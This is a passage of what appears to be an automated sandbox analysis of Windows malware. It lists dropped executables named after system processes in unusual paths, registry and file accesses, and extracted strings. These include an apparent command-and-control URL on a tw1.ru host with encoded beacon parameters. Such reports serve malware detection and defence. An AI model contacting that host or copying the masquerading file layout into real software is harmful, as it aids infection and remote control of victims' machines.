00000000-00005752] "56085415360792" has type "ASCII text with very long lines (484) with no line terminators"- Location: [%WINDIR%\PLA\Templates\56085415360792]- [targetUID: 00000000-00001920] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00001248] "088424020bedd6" has type "ASCII text with no line terminators"- Location: [C:\Temp\088424020bedd6]- [targetUID: 00000000-00005752] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001248] "mZa55Bw1Mk" has type "ASCII text with no line terminators"- Location: [%TEMP%\mZa55Bw1Mk]- [targetUID: 00000000-00005752] "wininit.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [%WINDIR%\PLA\Templates\wininit.exe]- [targetUID: 00000000-00001920] "OSPPSVC.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [C:\BlockproviderComponentweb\OSPPSVC.exe]- [targetUID: 00000000-00000824] "05fd39cebe04318f847a6a72e913bbe3c722c85f.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- [targetUID: N/A] "csrss.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [C:\TorService\tor\pluggable_transports\csrss.exe]- [targetUID: 00000000-00005752] "dllhost.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [%ALLUSERSPROFILE%\Oracle\Java\javapath_target_623756\dllhost.exe]- [targetUID: 00000000-00005752] "conhost.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [C:\BlockproviderComponentweb\conhost.exe]- [targetUID: 00000000-00003744] "conhost.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [%WINDIR%\Media\Quirky\conhost.exe]- [targetUID: 00000000-00003744] "csrss.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [%WINDIR%\L2Schemas\csrss.exe]- [targetUID: 00000000-00005752] "csrss.exe.6A9E877A.bin" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- [targetUID: N/A] "conhost.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- Location: [C:\Temp\conhost.exe]- [targetUID: 00000000-00003744] "WININIT.EXE.6A9E877A.bin" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 4 sections"- [targetUID: N/A]4b:T96b,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SHELLCOMPATIBILITY\APPLICATIONS\A8733EA13062F65D6AAEB65F8836F9C57BC3C3AF7C0D04B94BD072ED2F56B1D1.EXE"; Key: ""; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: ""; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: ""; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKCU\DRIVE\SHELLEX\FOLDEREXTENSIONS"; Key: ""; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\DRIVE\SHELLEX\FOLDEREXTENSIONS"; Key: ""; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKCU\DRIVE\SHELLEX\FOLDEREXTENSIONS\{FBEB8A05-BEEE-4442-804E-409D6C4515E9}"; Key: ""; Value: "")4c:T1496,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSFORDISPLAY"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HIDEFOLDERVERBS"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "USEDROPHANDLER"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSFORPARSING"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSPARSEDISPLAYNAME"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "QUERYFOROVERLAY"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "MAPNETDRIVEVERBS"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "QUERYFORINFOTIP"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HIDEINWEBVIEW"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HIDEONDESKTOPPERUSER"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSALIASEDNOTIFICATIONS"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSUNIVERSALDELEGATE"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "NOFILEFOLDERJUNCTION"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "PINTONAMESPACETREE"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HASNAVIGATIONENUM"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{20D04FE0-3AEA-1069-A2D8-08002B30309D}"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\DRIVE\SHELLEX\FOLDEREXTENSIONS\{FBEB8A05-BEEE-4442-804E-409D6C4515E9}"; Key: "DRIVEMASK"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: "SHELLSTATE"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED"; Key: "HIDDEN"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED"; Key: "SHOWCOMPCOLOR"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCED"; Key: "HIDEFILEEXT"; Value: "")4d:Tad6,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" trying to touch file "C:\a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe.Local\" "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e" "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" trying to touch file "C:\Windows\system32\IMM32.DLL" "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" trying to touch file "C:\Windows\system32\" Potential IP "4.0.0.0" found in string "=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>", "2.5.29.10", "2.5.29.19", "2.5.29.14", "2.5.29.15", Potential IP "4.5.9.0" found in string "ersion=4.5.9.0 Culture=neutral PublicKeyToken=|", Potential IP "4.0.0.0" found in string "n=4.0.0.0 ", Potential IP "4.0.0.0" found in string "ersion=4.0.0.0 Culture=ne", Potential IP "4.0.0.0" found in string "n=4.0.0.0 Culture", Potential IP "4.0.0.0" found in string "ersion=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089", Potential IP "4.0.0.0" found in string "sion=4.0.0.0 ", Potential IP "4.0.0.0" found in string "n=4.0.0.0 Culture=neu", Potential IP "4.0.0.0" found in string "=4.0.0.0 Culture=neutral Pub", Potential IP "4.0.0.0" found in string "sion=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089", Potential IP "4.0.0.0" found in string "on=4.0.0.0 Culture=neutral PublicKeyToken=b7", "0.0.0.0", Potential IP "4.0.0.0" found in string "em.Windows.Forms 4.0.0.0 b77a5c561934e089", Potential IP "4.0.0.0" found in string "ion=4.0.0.0 ", Potential IP "4.0.0.0" found in string "rsion=4.0.0.0 Culture=neutral PublicKeyToken2", Potential IP "4.0.0.0" found in string "ersion=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a" />" Potential IP "4.0.0.0" found in string "4.0.0.0, Cultu" Potential IP "4.0.0.0" found in string "sion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7fO<" "4.0.0.0" Potential IP "4.0.0.0" found in string ""System.Drawing 4.0.0.0 b03f5f7f11", Potential IP "4.0.0.0" found in string "=4.0.0.0", Potential IP "4.0.0.0" found in string "n=4.0.0.0 Culture=neutral PublicP", Potential IP "4.0.0.0" found in string "4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a" />" Potential IP "4.0.0.0" found in string "on=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, proc'" Potential IP "4.0.0.0" found in string "4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, process_" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neutral" Potential IP "4.0.0.0" found in string "n=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" allowDefi", Potential IP "4.0.0.0" found in string "sion=4.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35"/>" Potential IP "4.5.9.0" found in string "ersion=4.5.9.0, Culture=neutral, PublicKeyToken=" Potential IP "4.0.0.0" found in string "ystem.Numerics,4.0.0.0,,b77a5c561934e089,MSIL" Potential IP "4.0.0.0" found in string "ion=4.0.0.0, Culture=neutral," Potential IP "4.0.0.0" found in string "n=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3" Potential IP "4.0.0.0" found in string "4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" Potential IP "4.0.0.0" found in string "sion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>", Potential IP "4.0.0.0" found in string "rsion=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a", Potential IP "4.0.0.0" found in string "=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a" allowDefinition="MachineToApplication" />" Potential IP "4.0.0.0" found in string "sion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" allowDefinition="MachineToApplication" />", Potential IP "4.0.0.0" found in string "n=4.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35" requirePermission="false" allowDefinition="MachineToApplica", Potential IP "4.0.0.0" found in string "ystem.Data.SqlXml 4.0.0.0 b77a5c561934e089 MSIL", Potential IP "4.0.0.0" found in string "rsion=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561930", Potential IP "4.0.0.0" found in string "n=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3E", Potential IP "4.0.0.0" found in string "ion=4.0.0.0 C", Potential IP "4.0.0.0" found in string "n=4.0.0.0 Culture=neutral Public#"54:T2548,Found URL "http://user.configfile:.configfile://datadirectoryc:\blockprovidercomponentweb\osppsvc.exe.configc:\blockprovidercomponentweb\osppsvc.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configpath2path1c:\windows\microsoft.net\framework\v4.0.30319\config\machine.configexecutionengine_missingsecuritydescriptor\\.\modeaccessrightsshare\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00001572.00000003.84004.00310000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\blockprovidercomponentweb\osppsvc.exe.configc:\blockprovidercomponentweb\osppsvc.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configpath2path1c:\windows\microsoft.net\framework\v4.0.30319\config\machine.configexecutionengine_missingsecuritydescriptor\\.\modeaccessrightsshare\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00001572.00000003.84004.01E30000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00001572.00000003.84004.01E30000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\windows\pla\templates\wininit.exe.configc:\windows\pla\templates\wininit.exe.configfile:///c:/windows/pla/templates/wininit.exec:/windows/pla/templates/wininit.exec:\windows\pla\templates\wininit.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userservice" - Source: "00000000-00001920.00000002.82354.01E10000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00001920.00000002.82354.01E10000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00001920.00000002.82354.01E10000.00000004.mdmp") Found URL "http://cr94982.tw1.ru/c7cfea12.php?gjsom=nvozd&m4nthbnbmgkvaix7im=hztyjjftncvluwoqd7gueeq499xx&tqncgwhdgdjbi99a=zjwbt9crydtzykms&055ab678506a51d9a2618d6e594675d9=de30911230ba06f0c4eecc25808b6efa&b848766e36d4a1661b389dd1d9eb622e=qm2mtnwmzyijdm3m2yxewylltnlfdm4adzwm2y2mwy0mtnlztm0ety&gjsom=nvozd&m4nthbnbmgkvaix7im=hztyjjftncvluwoqd7gueeq499xx&tqncgwhdgdjbi99a=zjwbt9crydtzykms000dk005e010000000044000060c304000000008a01008b80000000a862c30460b4c30490f2c2045008000000004400000000400060c3048cd7010604644b7738014400e0634b77cff7407100000000000044000860c304010000007b00370035003800340037003100370037002d0046003000370037002d00340031003002d0042004400320043002d00410036004200420032003100360015e7b86024d701066d823876c4bbbd04040100000340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d00410036004200420032003100360015e7b86024d701066d823876c4bbbd0404010\?\volume" - Source: "00000000-00001920.00000003.86942.04BD0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003024.00000001.86003.00220000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\blockprovidercomponentweb\conhost.exe.configc:\blockprovidercomponentweb\conhost.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configpath2path1c:\windows\microsoft.net\framework\v4.0.30319\config\machine.configexecutionengine_missingsecuritydescriptor\\.\modeaccessrightsshare\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00003024.00000001.86003.01D70000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00003024.00000001.86003.01D70000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\all" - Source: "00000000-00003284.00000001.85400.021F0000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00003284.00000001.85400.021F0000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\temp\conhost.exe.configc:\temp\conhost.exe.configfile:///c:/temp/conhost.exec:/temp/conhost.exec:\temp\conhost.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userservice" - Source: "00000000-00003744.00000002.82610.01F30000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003744.00000002.82610.01F30000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00003744.00000002.82610.01F30000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\temp\conhost.exe.configc:\temp\conhost.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configpath2path1c:\windows\microsoft.net\framework\v4.0.30319\config\machine.configexecutionengine_missingsecuritydescriptor\\.\modeaccessrightsshare\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00003744.00000003.83968.01F30000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00003744.00000003.83968.01F30000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\windows\pla\templates\wininit.exe.configc:\windows\pla\templates\wininit.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configpath2path1c:\windows\microsoft.net\framework\v4.0.30319\config\machine.configexecutionengine_missingsecuritydescriptor\\.\modeaccessrightsshare\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00004020.00000001.83957.01E10000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00004020.00000001.83957.01E10000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\windows\l2schemas\csrss.exe.configc:\windows\l2schemas\csrss.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configpath2path1c:\windows\microsoft.net\framework\v4.0.30319\config\machine.configexecutionengine_missingsecuritydescriptor\\.\modeaccessrightsshare\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00004056.00000001.86324.01EF0000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00004056.00000001.86324.01EF0000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\all" - Source: "00000000-00004364.00000003.83778.01D00000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00004364.00000003.83778.01D00000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\blockprovidercomponentweb\conhost.exe.configc:\blockprovidercomponentweb\conhost.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configpath2path1c:\windows\microsoft.net\framework\v4.0.30319\config\machine.configexecutionengine_missingsecuritydescriptor\\.\modeaccessrightsshare\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00005488.00000001.88777.02110000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00005488.00000001.88777.02110000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\blockprovidercomponentweb\intohostdhcp.exe.configc:\blockprovidercomponentweb\intohostdhcp.exe.configfile:///c:/blockprovidercomponentweb/intohostdhcp.exec:/blockprovidercomponentweb/intohostdhcp.exec:\blockprovidercomponentweb\intohostdhcp.exesystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userservice" - Source: "00000000-00005752.00000000.77536.01C70000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00005752.00000000.77536.01C70000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00005752.00000000.77536.01C70000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00005800.00000001.88885.003B0000.00000004.mdmp")55:T5ad,Found string "+ncalrpc:[OLE44E20DF5E7A647DE90BD7108CA8B]" (Indicator: "ncalrpc"; Source: "00000000-00000824.00000001.86570.00570000.00000004.mdmp") Found string "+ncalrpc:[OLEF1CE2D7BF8224D26958569FF7F05]" (Indicator: "ncalrpc"; Source: "00000000-00001216.00000001.88761.00280000.00000004.mdmp") Found string "+ncalrpc:[OLE101854925CB943C287B6532FDF13]" (Indicator: "ncalrpc"; Source: "00000000-00003024.00000001.86003.00220000.00000004.mdmp") Found string "+ncalrpc:[OLEC495D4E14F524E9F8372DFFCD119]" (Indicator: "ncalrpc"; Source: "00000000-00005488.00000001.88777.00390000.00000004.mdmp") Found string "+ncalrpc:[OLEF2ABCE2A593F4F05BE728CC99422]" (Indicator: "ncalrpc"; Source: "00000000-00005800.00000001.88885.003B0000.00000004.mdmp") Found string "+ncalrpc:[OLEF8A7C124AEE94E91BE9CF22601FF]" (Indicator: "ncalrpc"; Source: "00000000-00005944.00000001.89465.00060000.00000004.mdmp") Found string "+ncalrpc:[OLEE675B642EEC0449BB43A2AC57CCB]" (Indicator: "ncalrpc"; Source: "00000000-00001572.00000002.82348.00310000.00000004.mdmp, 00000000-00001572.00000003.84004.00310000.00000004.mdmp") Found string "+ncalrpc:[OLE80058E6BFEC34A00A62DF314F911]" (Indicator: "ncalrpc"; Source: 